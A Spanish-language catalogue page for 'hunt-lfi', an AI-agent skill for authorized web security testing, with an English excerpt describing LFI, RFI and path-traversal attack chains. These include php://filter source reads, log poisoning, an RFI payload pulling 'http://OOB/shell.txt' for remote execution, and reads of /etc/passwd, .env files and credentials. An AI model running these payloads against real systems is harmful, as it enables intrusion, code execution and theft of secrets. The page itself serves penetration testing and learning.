Saltar al contenido
Skillpedia
Seguridad48 mil · #4884

hunt-lfi

Qué hace

Este agente de IA ayuda a encontrar vulnerabilidades en webs que permiten a un atacante leer archivos sensibles o ejecutar código malicioso. Busca fallos concretos llamados LFI (Local File Inclusion), RFI (Remote File Inclusion) y Path Traversal.

Cuándo usarla

  • ✓Cuando pruebas la seguridad de una web con permiso.
  • ✓Para aprender cómo funcionan los fallos de seguridad.
  • ✓Al realizar una auditoría de seguridad autorizada.

Link de la skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-lfi/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-lfi/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“Busca vulnerabilidades de inclusión de archivos en example.com”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

Intenta insertar rutas de archivo especiales en parámetros de la URL o en los datos enviados a la web. Si la web es vulnerable, podría mostrar el contenido de archivos del servidor o incluso ejecutar comandos.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-LFI — Local / Remote File Inclusion & Path Traversal

Crown Jewel Targets

LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.

Highest-value chains (in rough order of reliability in 2026):

  • PHP filter-chain → RCE — the modern default. A bare php://filter file-read primitive is upgraded to RCE with no upload endpoint and no writable file by chaining iconv conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.
  • Log poisoning → RCE — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by open_basedir and unreadable log perms, so verify the log is readable first.
  • PHP wrappers → source disclosure — php://filter/convert.base64-encode/resource=index.php leaks source; read source to find more LFI sinks, secrets, and the include base path.
  • RFI → RCE — when allow_url_include=On, ?file=http://OOB/shell.txt pulls and executes remote code. Rare on modern configs but trivially Critical when present.
  • phar:// deserialization — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
  • zip:// / data:// chains and session/upload poisoning when filters block wrappers.

OOB / Blind-LFI Confirmation Gate (Read First)

LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.

What is NOT confirmation

  • A different status code or error string for ../../etc/passwd vs a normal value. The app may be string-matching ../ and returning a canned 403/500 without ever touching the filesystem.
  • Your input echoed back inside an error message (e.g. failed to open '/var/www/../../etc/passwd'). That is the path formatter, not proof the file was read. A genuine read shows file contents, not your path.
  • A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.

What IS confirmation

  • Direct read: actual file contents appear (real root:x:0:0: line, real PHP source after base64-decoding the filter output).
  • Blind read via OOB exfil: use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your Burp Collaborator subdomain, or use an expect:// / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran.
  • Blind read via differential/timing: include a file you know exists and is large (/etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.

Default workflow

  1. Pick a unique marker target: prefer a file whose content you can fingerprint exactly (/etc/passwd → grep ^root:). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source.
  2. Generate a sub-tagged Collaborator payload per sink (lfi-page.<collab>, lfi-tpl.<collab>) so callbacks identify which parameter fired.
  3. Send, wait 30–120s, poll OOB.

…

Preguntas frecuentes

¿Qué es LFI/RFI/Path Traversal?

Son tipos de fallos de seguridad. LFI permite a un atacante leer archivos del servidor local. RFI permite hacer que el servidor descargue y ejecute un archivo de otro servidor. Path Traversal permite a un atacante moverse por la estructura de carpetas del servidor.

¿Necesito permiso para usar esta herramienta?

Sí, necesitas permiso explícito y por escrito del propietario del sistema antes de usar esta herramienta. Usarla sin permiso es ilegal.

¿Cómo sé si la herramienta ha encontrado algo?

La herramienta intentará mostrar el contenido de archivos del servidor o confirmar si se ha ejecutado un comando. Requiere confirmación explícita antes de realizar cualquier acción que pueda alterar o acceder a datos.

Detalles

Descripción original del autor

Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal

repo: sickn33/agentic-awesome-skills

Popularidad

Estrellas en GitHub
48 mil
Posición en el ranking
#4884
Licencia
MIT
Actualizada
15/10/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas